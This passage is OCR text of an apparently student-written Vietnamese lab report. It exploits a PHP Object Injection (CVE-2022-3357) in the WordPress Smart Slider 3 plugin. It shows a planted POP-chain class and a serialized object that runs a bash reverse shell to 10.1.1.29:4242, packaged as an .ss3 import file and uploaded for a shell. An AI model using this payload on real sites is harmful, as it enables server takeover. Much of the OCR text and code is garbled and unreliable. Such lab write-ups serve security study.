Hinh 3.8: PoC khai thac CVE-2022-3357

Tim mé code ctia ddi tugng Reader va tim kiém ham read() va biét dugc rang file tai
1én c6 dinh dang 1a file zip
Reader.php X

» SimportData

read($path

) && strtoupper(substr(PHP_0S

Hinh 3.9: PoC khai thac CVE-2022-3357

Budc 4: Khi biét duoc chac chan 14 dit liéu nguoi dung tai 1én dugc truyén vao ham
unserialize() khong co chira bat ky bo loc nao. Tir ddy co thé xac dinh day c6 ton tai

16 hong PHP Object Injection.
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3.2.2. Khai théc 16 hong

Pé khai thac dugc 16 hong nay, chiing ta can c6 tai khoan cé quyén truy cap plugin

smart slider 3. Va phai tim dugc 1 POP chain c6 thé sir dung.

Trong thuc t&, mot trang web wordpress c6 thé sir dung rat nhidu plugin, do d6 ciing
c6 rat nhidu POP Chain c6 thé tim thdy. Tuy nhién, trong méi trudng lab nay, ching
ta s€ tu tao mot POP chain don gian bé’mg cach thém doan code sau day vao trong ma

ngudn.
class demon {
public $callback, $data;
public function _ wakeup() {

return call_user func($this->callback, $this->data);

callback, $data;

__wakeup
return call_user_func ->callback,

3}
}

if (ldefin ATH')) {
define , dirname . DIRECTORY_SEPARATOR . 'Nexten

1
}

if (!version_compare(PHP_VERSION,

Hinh 3.10: PoC khai thac CVE-2022-3357
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— Budc 1: Dé bit dau khai thac chung ta can tao 1 file php nham tao mot doi tuong

Evil da duoc serialize.
<?php
class demon {
public $callback, $data;
public function  construct($data, $callback) {
$this->data = $data;

$this->callback = $callback;

}

$obj = new demon("/bin/bash -c 'bash -i >& /dev/tcp/10.1.1.29/4242 0>&1", 'exec');
$ser = serialize($obj);

echo $ser;

2>

F *~[Script/Demon.php - Mousepad

File Edit Search View Document Help
-+ T O e O O

[

Demon {

__construct
data
callback

2
3
4
5
6
7
8
9

Hinh 3.11: PoC khai thac CVE-2022-3357
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— Budc 2: Thuc hién tao file dé import.

=

kali@kali: ~/Script
Places File Actions Edit View Help
B Computer Ls': Ecript (D
B kali
= Desktop L
@ Recent Demon . php
' Trash — ~[~/Script]

T — Demon.php > data Hackingslider3.ss3
- Hackingslider3.ss3: command not found

-[~/Secript]

# Music ) )
_ — ~[~/Script
) Pictures — Demon . php data Hackingslider3.ss3 data

B8 Videos adding: data (deflated 11%)

@ Downloads —

~[~/Seript]
Devices

File System
Network

D Browse Network

Hinh 3.12: PoC khai thac CVE-2022-3357

— Budc 3: Trén may kali khach, thuc hién lang nghe & port 4242

kali-linue-2023.3-vmware...

| emE PO 2 3 4

&l kali@kali: ~
Places File Actions Edit View Help
B Computer L i e
= kali listening on [any] 4242 ...
|

= | Desktop

@ Recent
' Trash
@) Documents
Music
Pictures
Videos
Downloads
Devices
File System
Network

D Browse Network

Hinh 3.13: PoC khai thac CVE-2022-3357
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Budc 4: Thuc hién tai file khai thac vira tao 1én va c6 duoc reverse shell

Smart Slider ¢

C @ n o Pre i I age: |

Kali Linux g8 <ali Forum ploit-D Google Hacking DB

.

# Dashboard > Import Project @mart Slider Settings  Help

B Comment
Import Project
»
| Instruction
. You can upload *ss3 files which were exported by Smart Siider 3
=
~
Localimport  Upioad File
Settings jackingslider3.ss: ‘our server's upload filesize limitation is 40M, so If your file Is bigger, use the local import
] Setting: Hackingslider3.ss3 + e d fil [ 10M, 50 If your file Is bigg ihe local img

€ Smart Slider
Restors Siider 1mage Mode
Dashboard Clone v

Hinh 3.14: PoC khai thac CVE-2022-3357

N EomP -
B Smart Slider <« CVE-2022-3
€« C @

KaliLinux @ KallTools  pie actions Edit View Help

Hinh 3.15: PoC khai thac CVE-2022-3357
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KET LUAN

Trong bai bao cdo nay, Nhom 1 d3 néu co s& i thuyét cling nhu mé ta va cach khai thac
mét s6 CVE: CVE-2022-3357 va CVE-2021-3493. Trong qu4 trinh thyc hién bai tap
bdo cdo nay, do kién thtrc cling nhu kinh nghiém ctia nhom con han ché nén mot
s6 phan cta bai thuc tdp van chua duoc trinh bay sau va k¥, va cac phuong phap
thuc nghiém con so sai. Tuy con nhiéu thiéu sét vé mit kién thirc nhung nhom ciing
d3 thyc hién khai thac thanh cong hai CVE ké trén va s& c6 gang tién hanh tim hiéu dé
c6 nhirng cai nhin khach quan hon, nhitng cach khai thac tt hon.
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